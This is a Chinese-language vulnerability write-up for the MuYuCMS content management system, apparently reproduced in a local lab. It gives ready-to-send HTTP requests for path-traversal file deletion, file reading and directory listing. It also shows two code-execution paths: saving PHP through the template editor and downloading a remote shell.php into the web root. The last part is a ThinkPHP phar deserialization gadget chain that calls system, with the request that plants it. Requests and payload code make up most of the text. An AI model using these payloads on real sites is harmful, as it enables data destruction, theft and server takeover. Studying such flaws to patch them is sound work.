MuYuCMS基于Thinkphp开发的一套轻量级开源内容管理系统,专注为公司企业、个人站长提供快速建站提供解决方案。

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环境搭建

我们利用 phpstudy 来搭建环境，选择 Apache2.4.39 + MySQL5.7.26+ php5.6.9 ，同时利用 PhpStorm 来实现对项目的调试

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　　‍

漏洞复现分析

任意文件删除

我们在网站的根目录下创建一个文件 test.txt 用来校验文件是否被删除

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任意文件删除一
漏洞复现

登录后台后构造数据包

POST /admin.php/accessory/filesdel.html HTTP/1.1
Host: test.test
Content-Length: 55
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/admin.php/accessory/filelist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM
Connection: close

filedelur=/upload/files/.gitignore/../../../../test.txt

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文件被成功删除

​image

漏洞分析

​\app\admin\controller\Accessory::filesdel​

​image

通过参数 $filedelurl 拼接得到要删除文件的地址，利用 unlink 函数删除文件，中间没有做任何校验。
　　
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任意文件删除二
漏洞复现

登录后台后构造数据包

POST /admin.php/accessory/picdel.html HTTP/1.1
Host: test.test
Content-Length: 54
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/admin.php/accessory/filelist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM
Connection: close

picdelur=/upload/files/.gitignore/../../../../test.txt

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漏洞分析

​\app\admin\controller\Accessory::picdel​

​image

通过参数 $picdelur 拼接得到要删除图片的地址，利用 unlink 函数删除文件，中间没有做任何校验

任意文件删除三
漏洞复现

登录后台后构造数据包

GET /editor/index.php?a=delete_node&type=file&path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close

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漏洞分析

​\App\Controller\Controller::delete_node​

​image​

​\App\Core\File::deleteFile​

​image

​\App\Controller\Controller::beforeFun​

​image

对传入的 path 判断了是否在合法的文件域中，但没有对传入的 path 没有进行跨目录的校验就删除了文件

‍

任意文件删除四
漏洞复现
POST /admin.php/database/sqldel.html HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

name=../../test.txt

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漏洞分析

​\app\admin\controller\Database::sqldel​

​image

获取 post 传入的参数 name

​image

利用 delFile 函数删除文件

任意文件删除五
漏洞复现

登录后台后构造数据包

POST /admin.php/update/rmdirr.html?dirname=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Content-Length: 0
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://test.test
Referer: http://test.test/admin.php/system/update.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341
Connection: close

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漏洞分析

​\app\admin\controller\Update::rmdirr​

​image

传入的参数 $dirname 经过简单的判断，然后调用 unlink 函数去删除

任意文件读取

任意文件读取
漏洞复现

登录后构造数据包

GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close

​image

成功读取文件信息

​image​

漏洞分析

​\App\Controller\Controller::get_file​

​image​

列目录
漏洞复现

登录后构造数据包

GET /editor/index.php?a=dir_list&dir_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../../../../../../../../ HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close

​image​

成功将根目录下的信息显露出来

漏洞分析

​\App\Controller\Controller::dir_list​

​image​

​\App\Core\Jstree::getDir​

​image

​\App\Controller\Controller::beforeFun​

​image

对传入的 dir_path判断了是否在合法的文件域中，但没有对传入的 dir_path没有进行跨目录的校验就打印出目录信息

任意代码执行

任意代码执行一
漏洞复现

登录后构造数据包，读取config 文件内容

GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close

此时需要获取的并不是文件内容，而是更改之后文件的key

​image​

复制文件校验码 替换到下面数据包中

GET /editor/index.php?a=save_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php&file_key=5e9c862ce52986e5437652d707c7c82f&file_content=<?php+phpinfo();+php?> HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close

​image​

访问文件在网站上对应的位置，发现代码已经被成功执行

​image​

也可以执行其他代码

​image​

漏洞分析

​\App\Controller\Controller::save_file​

​image

save_file 有保存文件的操作，但是需要获取到文件的校验码。所以就可以通过先查询文件的相关信息，然后再对文件进行修改

​\App\Core\File::setFileContent​

​image

任意代码执行二
漏洞复现

登录后构造数据包

POST /admin.php/update/getFile.html?url=http://127.0.0.1:8000/shell.php&save_dir=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/ HTTP/1.1
Host: test.test
Content-Length: 0
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://test.test
Referer: http://test.test/admin.php/system/update.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341;XDEBUG_SESSION=PHPSTORM
Connection: close

指定远程 url 下载文件，下载的文件保存到指定位置

​image​

访问指定的文件目录，发现代码被成功执行

​image​

漏洞分析

​\app\admin\controller\Update::getFile​

​image

通过 $url 指定获取远程文件的地址，$save_dir 指定保存文件的路径，并未对文件的内容和类型进行校验，所以就会产生代码执行漏洞

‍

phar反序列化

‍

漏洞复现
<?php
namespace think{
    abstract class Model{
        protected $append;
        private $data;
        function __construct(){
            $this->append = ["aaaa"=>["123456"]];
            $this->data = ["aaaa"=>new Request()];
        }
    }
    class Request
    {
        protected $param;
        protected $hook;
        protected $filter;
        protected $config;
        function __construct(){
            $this->filter = "system";
            $this->config = ["var_ajax"=>''];
            $this->hook = ["visible"=>[$this,"isAjax"]];
            $this->param = ["calc"];
        }
    }
}
namespace think\process\pipes{
    use think\model\Pivot;
    class Windows
    {
        private $files;

        public function __construct()
        {
            $this->files=[new Pivot()];
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
    }
}
namespace{
    use think\process\pipes\Windows;
    @unlink('shell.jpg');
    $phar = new Phar("shell.phar"); //
    $phar->startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $object = new Windows();
    //$object ->haha= 'eval(@$_POST[\'a\']);';
    // $object ->haha= 'phpinfo();';
    $phar->setMetadata($object); 
    $phar->addFromString("a", "a"); //添加要压缩的文件
  
    $phar->stopBuffering();
  
    echo (base64_encode(serialize(new Windows())));

}
?>

生成 phar 序列化数据包 修改后缀，启动 python 服务器

构造数据包下载远程的文件到本地

GET /public/static/admin/static/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:8000/shell.png HTTP/1.1
Host: test.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close

​image​

执行 phar 序列化

​http://test.test/admin.php/update/rmdirr.html?dirname=phar://./public/upload/images/1676882763141961.png​

​image​

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注意事项

在最开始，获取远程图片的时候，一直出现错误 提示 链接contentType不正确​ 通过在代码中查找，定位到问题位置

​image​

校验了 Content-Type 的值 经过不断的调试仍然发现不了问题出现在哪

但是发现通过 phpstudy 默认的 apache 服务是没问题的 通过抓包对比发现 一个是 Content-Type 另一个是 Content-type

​image​

​image

我直接修改了 python 的源代码 将其中的小写 t 替换成了大写 T

‍

漏洞分析

​\app\admin\controller\Update::rmdirr​

​image

通过协议绕过了对文件名的检测然后触发了反序列漏洞

​MuYuCMS-master/public/static/admin/static/ueditor/php/controller.php​

​image

​

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